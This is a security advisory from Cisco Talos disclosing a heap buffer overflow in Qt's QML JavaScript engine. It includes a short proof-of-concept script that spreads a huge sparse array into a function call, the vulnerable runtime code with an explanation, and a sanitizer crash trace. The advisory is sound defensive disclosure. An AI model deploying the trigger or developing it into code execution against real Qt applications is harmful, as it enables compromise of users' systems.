Talos Vulnerability Report

TALOS-2022-1650

Qt Project Qt QML QtScript Javascript spreading buffer overflow vulnerability

January 12, 2023
CVE Number

CVE-2022-43591

SUMMARY

A buffer overflow vulnerability exists in the QML QtScript Reflect API of Qt Project Qt 6.3.2. A specially-crafted javascript code can trigger an out-of-bounds memory access, which can lead to arbitrary code execution. Target application would need to access a malicious web page to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Qt Project Qt 6.4

PRODUCT URLS

Qt - https://www.qt.io/

CVSSv3 SCORE

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-122 - Heap-based Buffer Overflow

DETAILS

Qt is a popular software suite primarily used to create graphical user interfaces. It also contains a number of supporting libraries which all aim to enable cross-platform application development with a unified programming API.

Qt’s suite of libraries contains support for executing Javascript code through its QtScript engine, which is extensively used in QML. QtScript is historically based on WebKit’s JavaScriptCore, but the current codebase bears little resemblance to modern JavaScriptCore engine.

QtScript implementation supports a Javascript argument spreading syntax via use of ... operator, where an array is spread into a list of arguments for a function call. QtScript’s implementation of argument spreading is vulnerable to a heap overflow. The vulnerability can be demonstrated with the following PoC Javascript code:

var a = [] 
a.length =  555840;
Math.max(...a)

In the above code, a simple array is constructed and its length set to a large value. This array is then used in a function call with a spreading ... operator, which invokes spreading code in QtScript’s runtime:

static CallArgs createSpreadArguments(Scope &scope, Value *argv, int argc)
{
    ScopedValue it(scope);
    ScopedValue done(scope);

    int argCount = 0;

    Value *v = scope.alloc<Scope::Uninitialized>();                        [1]
    Value *arguments = v;                                                  [2]
    for (int i = 0; i < argc; ++i) {
        if (!argv[i].isEmpty()) {
            *v = argv[i];
            ++argCount;
            v = scope.alloc<Scope::Uninitialized>();
            continue;
        }
        // spread element
        ++i;
        it = Runtime::GetIterator::call(scope.engine, argv[i], /* ForInIterator */ 1);              [3]
        if (scope.hasException())
            return { nullptr, 0 };
        while (1) {
            done = Runtime::IteratorNext::call(scope.engine, it, v);                              [4]
            if (scope.hasException())
                return { nullptr, 0 };
            Q_ASSERT(done->isBoolean());
            if (done->booleanValue())
                break;
            ++argCount;                                                                       [5]
            v = scope.alloc<Scope::Uninitialized>();                                          [6]
        }
    }
    return { arguments, argCount };
}

Above code implements the function that turns an array into a list of arguments to be passed into a function call. At [1] and [2] scoped allocation for arguments is made. At [3] an iterator through the input arguments is created and is then used at [4] inside an infinite while loop as long as there are elements. With each iteration, argCount is incremented at [5] and space for a new value is allocated at [6]. Allocation is performed via call to scope.alloc with no parameters, which ends up in the following code:

QML_NEARLY_ALWAYS_INLINE Value *alloc() const
{
    Value *ptr = engine->jsAlloca(1);
    switch (mode) {
    case Undefined:
        *ptr = Value::undefinedValue();
        break;
    case Empty:
        *ptr = Value::emptyValue();
        break;
    case Uninitialized:
        break;
    }
    return ptr;
}

Above code allocates space for one more value on the runtime stack by simply incrementing the pointer, without performing any additional checks for available space. Therefore, in a call to createSpreadArguments, elements can keep being allocated until the buffer overflows into adjacent memory or a guard page is hit. This can result in adjacent memory overwrite. Additionally, since the contents of the sparse array being spread is under control, a precise value being written out of bounds can easily be controlled (empty array entries result in zeros being written into v pointer, where non-zero depends on the type, primitive types being written verbatim).

Since the Javascript execution environment presents many ways of precisely manipulating memory layout, this vulnerability could be abused to cause further memory corruption, which can ultimately result in arbitrary code execution.

Crash Information

==1198788==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x7ffff52c2000 (pc 0x00000091f222 bp 0x00000159db70 sp 0x7fffffffd250 T1198788)
==1198788==The signal is caused by a WRITE memory access.
    #0 0x91f222 in QV4::Object::internalPut(QV4::PropertyKey, QV4::Value const&, QV4::Value*) (/home/anikolich/projects/qt6/qtdeclarative/examples/qml/shell/shell+0x91f222)
    #1 0x91f00d in QV4::Object::internalPut(QV4::PropertyKey, QV4::Value const&, QV4::Value*) (/home/anikolich/projects/qt6/qtdeclarative/examples/qml/shell/shell+0x91f00d)
    #2 0x8fff92 in QV4::IteratorPrototype::createIterResultObject(QV4::ExecutionEngine*, QV4::Value const&, bool) (/home/anikolich/projects/qt6/qtdeclarative/examples/qml/shell/shell+0x8fff92)
    #3 0xda0d8b in QV4::ArrayIteratorPrototype::method_next(QV4::FunctionObject const*, QV4::Value const*, QV4::Value const*, int) (/home/anikolich/projects/qt6/qtdeclarative/examples/qml/shell/shell+0xda0d8b)
    #4 0x9803ac in QV4::Runtime::IteratorNext::call(QV4::ExecutionEngine*, QV4::Value const&, QV4::Value*) (/home/anikolich/projects/qt6/qtdeclarative/examples/qml/shell/shell+0x9803ac)
    #5 0x986f8e in QV4::createSpreadArguments(QV4::Scope&, QV4::Value*, int) (/home/anikolich/projects/qt6/qtdeclarative/examples/qml/shell/shell+0x986f8e)
    #6 0x986cf7 in QV4::Runtime::CallWithSpread::call(QV4::ExecutionEngine*, QV4::Value const&, QV4::Value const&, QV4::Value*, int) (/home/anikolich/projects/qt6/qtdeclarative/examples/qml/shell/shell+0x986cf7)
    #7 0x9d8804 in QV4::Moth::VME::interpret(QV4::JSTypesStackFrame*, QV4::ExecutionEngine*, char const*) (/home/anikolich/projects/qt6/qtdeclarative/examples/qml/shell/shell+0x9d8804)
    #8 0x9d5bbc in QV4::Moth::VME::exec(QV4::JSTypesStackFrame*, QV4::ExecutionEngine*) (/home/anikolich/projects/qt6/qtdeclarative/examples/qml/shell/shell+0x9d5bbc)
    #9 0x8e4a77 in QV4::Function::call(QV4::Value const*, QV4::Value const*, int, QV4::ExecutionContext*) (/home/anikolich/projects/qt6/qtdeclarative/examples/qml/shell/shell+0x8e4a77)
    #10 0x98f487 in QV4::Script::run(QV4::Value const*) (/home/anikolich/projects/qt6/qtdeclarative/examples/qml/shell/shell+0x98f487)
    #11 0x8779ae in QJSEngine::evaluate(QString const&, QString const&, int, QList<QString>*) (/home/anikolich/projects/qt6/qtdeclarative/examples/qml/shell/shell+0x8779ae)
    #12 0x428dd6 in main /home/anikolich/projects/qt6/qtdeclarative/examples/qml/shell/main.cpp:106:32
    #13 0x7ffff5a9e082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
    #14 0x4123cd in _start (/home/anikolich/projects/qt6/qtdeclarative/examples/qml/shell/shell+0x4123cd)
TIMELINE

2022-11-10 - Initial Vendor Contact

2022-11-10 - Vendor Disclosure

2023-01-12 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.